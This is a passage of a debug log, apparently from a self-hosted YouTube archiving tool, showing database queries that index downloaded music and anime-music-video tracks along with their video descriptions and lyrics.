is OUT NOW! https://youtu.be/lUvW4LSWX6o?si=MnpK01FwUpHeGxKq\n\n🔴Follow me on Instagram: https://www.instagram.com/g3ox_em/\nProduction/Mix/Master : g3ox_em\nSUBSCRIBE 🔴 g3ox_em Official YT Channel: https://www.youtube.com/channel/UCpIUzvMbh0QZx7mMzcTXIdw?sub_confirmation=1\n🟢Follow me on Spotify: https://open.spotify.com/artist/0Zw2ivPEDptvMHwCXjhdRs?si=7gbO82rCSzCVT-43_7pi0w\n🧡Follow me on Soundcloud: https://soundcloud.com/geox-1\n\nFor business inquiries contact: geoxem@gmail.com\n\n#GigaChad #phonk #drift #phonkytown #memes \n\nTags: gigachad phonky town, gigachad phonk playlist, gigachad phonk remix,\ngigachad phonk 1 hour, gigachad phonk slowed, gigachad phonk theme, gigachad phonk tiktok, gigachad phonk song, gigachad phonk edit, gigachad meme, gigachad meme song, gigachad perfect loop, can you feel my heart", "g3ox_em - GigaChad Theme (Phonk House Version)", "OVh0bMNSFss", 146, false, "https://www.youtube.com/watch?v=OVh0bMNSFss", "/downloads/Grift/Grift/2022-08-18g3ox_em - GigaChad Theme (Phonk House Version)[OVh0bMNSFss].m4a", false, 4, ~U[2022-08-18 14:56:08Z]] 22:21:35.741 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=167.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:35.742 [debug] QUERY OK source="media_items" db=0.5ms idle=168.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-16 23:39:20Z], 4] 22:21:35.902 [debug] QUERY OK source="media_items" db=159.7ms idle=169.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by TuneCore\n\nDeath Squad · Perturbator\n\nThe Uncanny Valley\n\n℗ 2016 Blood Music\n\nReleased on: 2016-05-06\n\nAuto-generated by YouTube.", "Death Squad", "c49a34c1-1df1-49b2-bc73-9f1220f14746", false, "4JEcgyVSlmw", 265, false, "https://www.youtube.com/watch?v=4JEcgyVSlmw", 14, "/downloads/Grift/Grift/2020-02-16Death Squad[4JEcgyVSlmw].m4a", false, false, 4, [], 1, ~U[2020-02-16 23:39:20Z], ~U[2026-07-24 02:21:35Z], ~U[2026-07-24 02:21:35Z], "Provided to YouTube by TuneCore\n\nDeath Squad · Perturbator\n\nThe Uncanny Valley\n\n℗ 2016 Blood Music\n\nReleased on: 2016-05-06\n\nAuto-generated by YouTube.", "Death Squad", "4JEcgyVSlmw", 265, false, "https://www.youtube.com/watch?v=4JEcgyVSlmw", "/downloads/Grift/Grift/2020-02-16Death Squad[4JEcgyVSlmw].m4a", false, 4, ~U[2020-02-16 23:39:20Z]] 22:21:35.903 [debug] QUERY OK source="sources" db=0.8ms idle=162.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:36.112 [debug] QUERY OK source="media_items" db=538.3ms idle=0.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["hi!! pls watch it on 1080p!!\n\ni have mixed feelings with this tbh, it took me a lot of time but idk if I really like it lol\n\nalso if you're going to watch evangelion, prepare yourself for a huge existencial crisis.\n\nsong: washing machine heart by mitski\nplease do not repost my video!", "Evangelion 「AMV」 - washing machine heart", "d564227d-511b-4c35-a57d-ad94278beb49", false, "Wq4UaL6Tq5w", 146, false, "https://www.youtube.com/watch?v=Wq4UaL6Tq5w", 5, "/downloads/Nightcore/Nightcore/2021-02-04Evangelion 「AMV」 - washing machine heart[Wq4UaL6Tq5w].m4a", false, false, 1, [], 1, ~U[2021-02-04 00:26:39Z], ~U[2026-07-24 02:21:35Z], ~U[2026-07-24 02:21:35Z], "hi!! pls watch it on 1080p!!\n\ni have mixed feelings with this tbh, it took me a lot of time but idk if I really like it lol\n\nalso if you're going to watch evangelion, prepare yourself for a huge existencial crisis.\n\nsong: washing machine heart by mitski\nplease do not repost my video!", "Evangelion 「AMV」 - washing machine heart", "Wq4UaL6Tq5w", 146, false, "https://www.youtube.com/watch?v=Wq4UaL6Tq5w", "/downloads/Nightcore/Nightcore/2021-02-04Evangelion 「AMV」 - washing machine heart[Wq4UaL6Tq5w].m4a", false, 1, ~U[2021-02-04 00:26:39Z]] 22:21:36.112 [debug] QUERY OK source="sources" db=0.3ms idle=370.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:36.133 [debug] QUERY OK source="media_items" db=229.2ms idle=162.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-31 17:18:30Z], 4] 22:21:36.133 [debug] QUERY OK source="media_profiles" db=0.4ms queue=20.3ms idle=210.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:36.134 [debug] QUERY OK source="media_items" db=0.3ms idle=22.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6] 22:21:36.134 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "“Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for \"fair use\" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statutes that might otherwise be infringing. Non-profit, educational, or personal use tips the balance in favor of fair use.\n\n\nThis is a fan-made (not for profit) video and the materials in this video are not related in any way to myself or each other outside of it. Please support the artists by purchasing their original works.”\n\n\nGot the urge to make a new AMV, this is the final result.\n\n\n\nhttps://www.animemusicvideos.org/members/members_videoinfo.php?v=206755\n\nAnime: Neon Genesis Evangelion & Neon Genesis Evangelion: End of Evangelion\nMusic: Radiohead - Man of War - OK Computer: OKNOTOK 1997 2017\nSoftware: Shotcut for editing, Topaz Video Enhance AI for final processing", "duration" => 269, "filename" => "/downloads/Nightcore/Nightcore/2021-08-02Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video[CRqWJy9KxV8].m4a", "id" => "CRqWJy9KxV8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CRqWJy9KxV8", "playlist_index" => 6, "timestamp" => 1627879546, "title" => "Radiohead Wrote the Perfect Neon Genesis Evangelion Theme: a music video", "upload_date" => "20210802"} 22:21:36.297 [debug] QUERY OK source="media_items" db=163.3ms idle=229.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi to everyone!^^\nIt's been a while since when I made a GATE's AMV.\nI confess you I'm quite disappointed, because a bit of time ago rumors about a season II (or a movie) of Gate have started appearing in some forums, but at the end everything proved being just a fake.\nHowever, part of me is quite happy that we'll never see a Gate II, because especially after reading the novels I fully understood the kind of disaster they did to try sweetening some of the most dark and explicit contents; and considering that most of the said problematic moments happen right after the series, there were strong possibilities to see a totally distorted Gate II anime.\nWell, no matter.\nI tried many times to make an AMV with this song, and I think the final result is quite good, what do you think?\n\nSee you soon!^_^\n\nALL RIGHTS BELONG TO THE PROPER OWNERS", "GATE - AMV - Sabaton - Rorke's Drift", "1101c357-03bc-485b-bdb3-85394f1800a1", false, "3aAqKIOUWYM", 204, false, "https://www.youtube.com/watch?v=3aAqKIOUWYM", 15, "/downloads/Grift/Grift/2018-10-31GATE - AMV - Sabaton - Rorke's Drift[3aAqKIOUWYM].m4a", false, false, 4, [], 1, ~U[2018-10-31 17:18:30Z], ~U[2026-07-24 02:21:36Z], ~U[2026-07-24 02:21:36Z], "Hi to everyone!^^\nIt's been a while since when I made a GATE's AMV.\nI confess you I'm quite disappointed, because a bit of time ago rumors about a season II (or a movie) of Gate have started appearing in some forums, but at the end everything proved being just a fake.\nHowever, part of me is quite happy that we'll never see a Gate II, because especially after reading the novels I fully understood the kind of disaster they did to try sweetening some of the most dark and explicit contents; and considering that most of the said problematic moments happen right after the series, there were strong possibilities to see a totally distorted Gate II anime.\nWell, no matter.\nI tried many times to make an AMV with this song, and I think the final result is quite good, what do you think?\n\nSee you soon!^_^\n\nALL RIGHTS BELONG TO THE PROPER OWNERS", "GATE - AMV - Sabaton - Rorke's Drift", "3aAqKIOUWYM", 204, false, "https://www.youtube.com/watch?v=3aAqKIOUWYM", "/downloads/Grift/Grift/2018-10-31GATE - AMV - Sabaton - Rorke's Drift[3aAqKIOUWYM].m4a", false, 4, ~U[2018-10-31 17:18:30Z]] 22:21:36.297 [debug] QUERY OK source="sources" db=0.2ms idle=163.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:36.297 [debug] QUERY OK source="media_items" db=0.1ms idle=163.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-27 13:01:21Z], 4] 22:21:36.318 [debug] QUERY OK source="sources" db=183.4ms idle=21.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:21:36.318 [debug] QUERY OK source="sources" db=0.3ms idle=20.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:36.318 [debug] QUERY OK source="media_items" db=0.1ms idle=20.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-08-02 04:45:46Z], 1] 22:21:36.617 [debug] QUERY OK source="media_items" db=307.9ms queue=0.1ms idle=11.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Discord Server (Join the community):\nhttps://discord.gg/D7VzSMwuCK\n\nSubmit Songs:\nkarmaismalding@gmail.com\nhttps://www.instagram.com/iluvkxrma/\n\nStream VIOLENT VIRA \"Saccharine\": \nhttps://open.spotify.com/track/1NiPI7ATyw4ZwI2b858XrT\n\nSupport VIOLENT VIRA:\nSpotify: https://open.spotify.com/artist/298H8XdYsBHii98wfAZT1S\nInstagram: https://www.instagram.com/violentvira/\nSoundCloud: https://soundcloud.com/vira-vampira\n\nSpotify Playlist: (Updated Weekly)\nhttps://open.spotify.com/playlist/2uH82mcVGKHCUzxpkGInfd?si=220916f879044854&pt=62f044d02d849d63bb479e3ecf9b7bdb\n\nAnime:\nMushoku Tensei\nJobless Reincarnation\n\nLyrics for \"Saccharine\" by VIOLENT VIRA:\n\nBring all the sinners to me\nI will tear out my limbs for your feast\nI promise the bleeding is fine\nLet my body fill bottles of wine\n\nRotting, I'm wasting my youth\nLaying down the like child I knew\n\nSaccharine, always saccharine\nThere's a war in my head\nThat you can't comprehend\nSaccharine, always saccharine\nThere's a war\nDie!\n\nA war\n\nAnd it's all opulence\nOh, wisteria\nLike an angel to the sun\nBring it on, my hysteria\nLoad it in the barrel of a gun\n\nSaccharine, always saccharine\nThere's a war in my head\nThat you can't comprehend\nSaccharinе, holy saccharine\nThere's a war\nSaccharinе, holy saccharine\nThere's a war in my head\nDon't think you wanna pretend\nSaccharine, holy saccharine\nThere's a war\nDie!", "VIOLENT VIRA - Saccharine (Lyrics / AMV)", "6aa785a3-6c13-4998-85ba-a41a9ebbdfa1", false, "zX_HY9_t_H4", 193, false, "https://www.youtube.com/watch?v=zX_HY9_t_H4", 16, "/downloads/Grift/Grift/2025-01-27VIOLENT VIRA - Saccharine (Lyrics ⧸ AMV)[zX_HY9_t_H4].m4a", false, false, 4, [], 1, ~U[2025-01-27 13:01:21Z], ~U[2026-07-24 02:21:36Z], ~U[2026-07-24 02:21:36Z], "Discord Server (Join the community):\nhttps://discord.gg/D7VzSMwuCK\n\nSubmit Songs:\nkarmaismalding@gmail.com\nhttps://www.instagram.com/iluvkxrma/\n\nStream VIOLENT VIRA \"Saccharine\": \nhttps://open.spotify.com/track/1NiPI7ATyw4ZwI2b858XrT\n\nSupport VIOLENT VIRA:\nSpotify: https://open.spotify.com/artist/298H8XdYsBHii98wfAZT1S\nInstagram: https://www.instagram.com/violentvira/\nSoundCloud: https://soundcloud.com/vira-vampira\n\nSpotify Playlist: (Updated Weekly)\nhttps://open.spotify.com/playlist/2uH82mcVGKHCUzxpkGInfd?si=220916f879044854&pt=62f044d02d849d63bb479e3ecf9b7bdb\n\nAnime:\nMushoku Tensei\nJobless Reincarnation\n\nLyrics for \"Saccharine\" by VIOLENT VIRA:\n\nBring all the sinners to me\nI will tear out my limbs for your feast\nI promise the bleeding is fine\nLet my body fill bottles of wine\n\nRotting, I'm wasting my youth\nLaying down the like child I knew\n\nSaccharine, always saccharine\nThere's a war in my head\nThat you can't comprehend\nSaccharine, always saccharine\nThere's a war\nDie!\n\nA war\n\nAnd it's all opulence\nOh, wisteria\nLike an angel to the sun\nBring it on, my hysteria\nLoad it in the barrel of a gun\n\nSaccharine, always saccharine\nThere's a war in my head\nThat you can't comprehend\nSaccharinе, holy saccharine\nThere's a war\nSaccharinе, holy saccharine\nThere's a war in my head\nDon't think you wanna pretend\nSaccharine, holy saccharine\nThere's a war\nDie!", "VIOLENT VIRA - Saccharine (Lyrics / AMV)", "zX_HY9_t_H4", 193, false, "https://www.youtube.com/watch?v=zX_HY9_t_H4", "/downloads/Grift/Grift/2025-01-27VIOLENT VIRA - Saccharine (Lyrics ⧸ AMV)[zX_HY9_t_H4].m4a", false, 4, ~U[2025-01-27 13:01:21Z]] 22:21:36.617 [debug] QUERY OK source="sources" db=0.1ms idle=299.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:36.617 [debug] QUERY OK source="media_items" db=0.2ms idle=299.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-05-19 16:22:42Z], 4] 22:21:36.786 [debug] QUERY OK source="media_items" db=167.8ms idle=299.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Taken from the ORDEN OGAN studio record \"Gunmen\" - released 7/7/2017 \n\nORDEN OGAN - Gunman (2017) // Official Music Video // AFM Records\n\n#### LYRICS ####\n\nthe toll of the warning bell\nmy boots sink in bullet shells\nI have become an outlaw,\nnightmare of the damned\n\nthe hangman left the scaffold\nI took him out, still blindfold\nI made this place a ghost town,\npainted the lanes red\n\nbridge:\nI'll find you...\nI'll hunt you down\nI'll be your final nightmare\n\nchorus:\nI AM THE GUNMAN\nI BRING SALVATION ON THIS DAY\nHERE COMES THE GUNMAN\nYOU KNOW THAT VENGEANCE IS MY NAME\n\nwhen shadows hide at high noon\nI kneel down by her tombstone\nand from the earth she'll rise\nto pass her site to you\n\nyou will beg for forgiveness\nI'll make you plead and confess\nfind absolution with a \nbullet in your head\n\nbridge:\nI'll find you...\nI'll hunt you down\nI'll be your final nightmare\n\nchorus:\nI AM THE GUNMAN\nI BRING SALVATION ON THIS DAY\nHERE COMES THE GUNMAN\nYOU KNOW THAT VENGEANCE IS MY NAME", "ORDEN OGAN - Gunman (2017) // Official Music Video // AFM Records", "6f225dfb-12f2-4d5e-a2ba-0ce896e61f1e", false, "JPm46Qgyn24", 360, false, "https://www.youtube.com/watch?v=JPm46Qgyn24", 17, "/downloads/Grift/Grift/2017-05-19ORDEN OGAN - Gunman (2017) ⧸⧸ Official Music Video ⧸⧸ AFM Records[JPm46Qgyn24].m4a", false, false, 4, [], 1, ~U[2017-05-19 16:22:42Z], ~U[2026-07-24 02:21:36Z], ~U[2026-07-24 02:21:36Z], "Taken from the ORDEN OGAN studio record \"Gunmen\" - released 7/7/2017 \n\nORDEN OGAN - Gunman (2017) // Official Music Video // AFM Records\n\n#### LYRICS ####\n\nthe toll of the warning bell\nmy boots sink in bullet shells\nI have become an outlaw,\nnightmare of the damned\n\nthe hangman left the scaffold\nI took him out, still blindfold\nI made this place a ghost town,\npainted the lanes red\n\nbridge:\nI'll find you...\nI'll hunt you down\nI'll be your final nightmare\n\nchorus:\nI AM THE GUNMAN\nI BRING SALVATION ON THIS DAY\nHERE COMES THE GUNMAN\nYOU KNOW THAT VENGEANCE IS MY NAME\n\nwhen shadows hide at high noon\nI kneel down by her tombstone\nand from the earth she'll rise\nto pass her site to you\n\nyou will beg for forgiveness\nI'll make you plead and confess\nfind absolution with a \nbullet in your head\n\nbridge:\nI'll find you...\nI'll hunt you down\nI'll be your final nightmare\n\nchorus:\nI AM THE GUNMAN\nI BRING SALVATION ON THIS DAY\nHERE COMES THE GUNMAN\nYOU KNOW THAT VENGEANCE IS MY NAME", "ORDEN OGAN - Gunman (2017) // Official Music Video // AFM Records", "JPm46Qgyn24", 360, false, "https://www.youtube.com/watch?v=JPm46Qgyn24", "/downloads/Grift/Grift/2017-05-19ORDEN OGAN - Gunman (2017) ⧸⧸ Official Music Video ⧸⧸ AFM Records[JPm46Qgyn24].m4a", false, 4, ~U[2017-05-19 16:22:42Z]] 22:21:36.787 [debug] QUERY OK source="sources" db=0.7ms idle=170.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:36.788 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=170.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2011-04-22 14:47:10Z], 4] 22:21:36.910 [debug] QUERY OK source="media_items" db=121.2ms idle=171.2ms INSERT INTO "media_items" AS m0 ("title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hellsing - Primo Victoria", "663e0812-2c42-4550-8620-c65cb62bb1da", false, "txcBzY01FiE", 253, false, "https://www.youtube.com/watch?v=txcBzY01FiE", 18, "/downloads/Grift/Grift/2011-04-22Hellsing - Primo Victoria[txcBzY01FiE].m4a", false, false, 4, [], 1, ~U[2011-04-22 14:47:10Z], ~U[2026-07-24 02:21:36Z], ~U[2026-07-24 02:21:36Z], "", "Hellsing - Primo Victoria", "txcBzY01FiE", 253, false, "https://www.youtube.com/watch?v=txcBzY01FiE", "/downloads/Grift/Grift/2011-04-22Hellsing - Primo Victoria[txcBzY01FiE].m4a", false, 4, ~U[2011-04-22 14:47:10Z]] 22:21:36.937 [debug] QUERY OK source="sources" db=26.1ms queue=0.1ms idle=125.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:36.938 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=149.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-02-28 10:15:08Z], 4] 22:21:37.103 [debug] QUERY OK source="media_items" db=164.4ms idle=150.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nLesser Gods · Demon Hunter\n\nWar\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-03-01\n\nAuto-generated by YouTube.", "Lesser Gods", "c340e606-2ee9-4690-af8a-fbf493a472e3", false, "lwsLjgrLcQk", 316, false, "https://www.youtube.com/watch?v=lwsLjgrLcQk", 19, "/downloads/Grift/Grift/2019-02-28Lesser Gods[lwsLjgrLcQk].m4a", false, false, 4, [], 1, ~U[2019-02-28 10:15:08Z], ~U[2026-07-24 02:21:36Z], ~U[2026-07-24 02:21:36Z], "Provided to YouTube by The Orchard Enterprises\n\nLesser Gods · Demon Hunter\n\nWar\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-03-01\n\nAuto-generated by YouTube.", "Lesser Gods", "lwsLjgrLcQk", 316, false, "https://www.youtube.com/watch?v=lwsLjgrLcQk", "/downloads/Grift/Grift/2019-02-28Lesser 